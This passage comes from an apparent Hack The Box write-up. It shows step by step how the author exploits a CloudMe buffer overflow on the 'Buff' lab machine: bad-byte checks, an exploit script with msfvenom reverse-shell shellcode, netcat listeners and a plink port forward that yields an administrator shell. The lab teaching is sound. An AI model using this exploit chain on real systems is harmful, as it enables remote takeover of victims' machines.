&lt;p&gt;Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).&lt;/p&gt;
&lt;p&gt;An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let&amp;rsquo;s do this – again with the help of &lt;code&gt;mona.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona bytearray -cpb &amp;#39;\x00&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(I&amp;rsquo;m excluding &lt;code&gt;\x00&lt;/code&gt; right from the beginning)&lt;/p&gt;
&lt;p&gt;This will give us two files: &lt;code&gt;bytarray.txt&lt;/code&gt; and &lt;code&gt;bytarray.bin&lt;/code&gt;. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.&lt;/p&gt;
&lt;p&gt;Our exploit code can be adjusted like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 shellcode += (b&amp;#34;\x01\x02\x03\x04\x05\x06...&amp;#34;
 b&amp;#34;\x21\x22\x23\x24\x25\x26...&amp;#34;) # shortened for readability
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the &lt;code&gt;bytearray.bin&lt;/code&gt; file created earlier.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We get a nice message from &lt;code&gt;mona.py&lt;/code&gt; that no corruption was found.&lt;/p&gt;
&lt;p&gt;&lt;img alt="No more bad bytes" loading="lazy" src="https://davidhamann.de/images/buff_bad_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.&lt;/p&gt;
&lt;p&gt;(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)&lt;/p&gt;
&lt;h3 id="generating-the-shellcode"&gt;Generating the shellcode&lt;/h3&gt;
&lt;p&gt;For generating the shellcode we pick the easy route and let &lt;code&gt;msfvenom&lt;/code&gt; do the hard work for us. Let&amp;rsquo;s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don&amp;rsquo;t forget to update the IP to the one of your attacker machine).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The payload is 351 bytes in size, so it fits easily into the space we have available.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (&lt;code&gt;x86/shikata_ga_nai&lt;/code&gt;) has enough room for unpacking our payload.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;build&lt;/code&gt; function now looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
 buf = b&amp;#34;&amp;#34;
 buf += b&amp;#34;\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84&amp;#34;
 buf += b&amp;#34;\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66&amp;#34;
 buf += b&amp;#34;and so on...&amp;#34;

 shellcode = b&amp;#39;\x90&amp;#39; * 16 + buf
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="exploiting-our-own-box"&gt;Exploiting our own box&lt;/h3&gt;
&lt;p&gt;Now it&amp;rsquo;s time to start a listener on our machine (&lt;code&gt;nc -lvnp 80&lt;/code&gt;) and run the exploit one more time. If everything went well, we should get a shell from the target system back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our &lt;code&gt;tun0&lt;/code&gt; interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don&amp;rsquo;t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.&lt;/p&gt;
&lt;p&gt;After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)&lt;/p&gt;
&lt;p&gt;&lt;img alt="Windows dog" loading="lazy" src="https://davidhamann.de/images/buff_dog.jpg"&gt;&lt;/p&gt;
&lt;h3 id="updating-the-payload"&gt;Updating the payload&lt;/h3&gt;
&lt;p&gt;Updating the payload is easy; just change the IP address of the &lt;code&gt;msfvenom&lt;/code&gt; command and put the result back into the exploit script:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="setting-up-a-remote-forward"&gt;Setting up a remote forward&lt;/h3&gt;
&lt;p&gt;To reach the CloudMe service from our attacker machine, we can upload &lt;code&gt;plink.exe&lt;/code&gt; to the target and then set up a remote port forward to our machine.&lt;/p&gt;
&lt;p&gt;Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)&lt;/p&gt;
&lt;p&gt;We add the the public key and some options to the &lt;code&gt;authorized_keys&lt;/code&gt; file of our low-priv user (in my case I call the user &lt;code&gt;forwarder&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;from=&amp;#34;10.10.10.198&amp;#34;,command=&amp;#34;echo &amp;#39;Please dont pwn me&amp;#39;&amp;#34;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we launch the SSHd service on our machine (feel free to adjust the port number in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;; I use 7777 for this example) and then copy the &lt;code&gt;plink.exe&lt;/code&gt; and &lt;code&gt;forwarder.ppk&lt;/code&gt; key file to the target:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, to set up the forwarding:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick &lt;code&gt;netstat -tlpn&lt;/code&gt; on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.&lt;/p&gt;
&lt;p&gt;One thing left: we change the &lt;code&gt;HOST&lt;/code&gt; variable in our exploit to &lt;code&gt;127.0.0.1&lt;/code&gt;, start a netcat listener &lt;code&gt;nc -lvnp 80&lt;/code&gt; and run the exploit again.&lt;/p&gt;
&lt;p&gt;Now we are greeted with an administrator shell from the target system:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
whoami
buff\administrator
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I have posted the full exploit script for reference as a &lt;a href="https://gist.github.com/davidhamann/412fe8a6ffde5b80c818d19e598495f6"&gt;Gist&lt;/a&gt;.&lt;/p&gt;</description></item></channel></rss>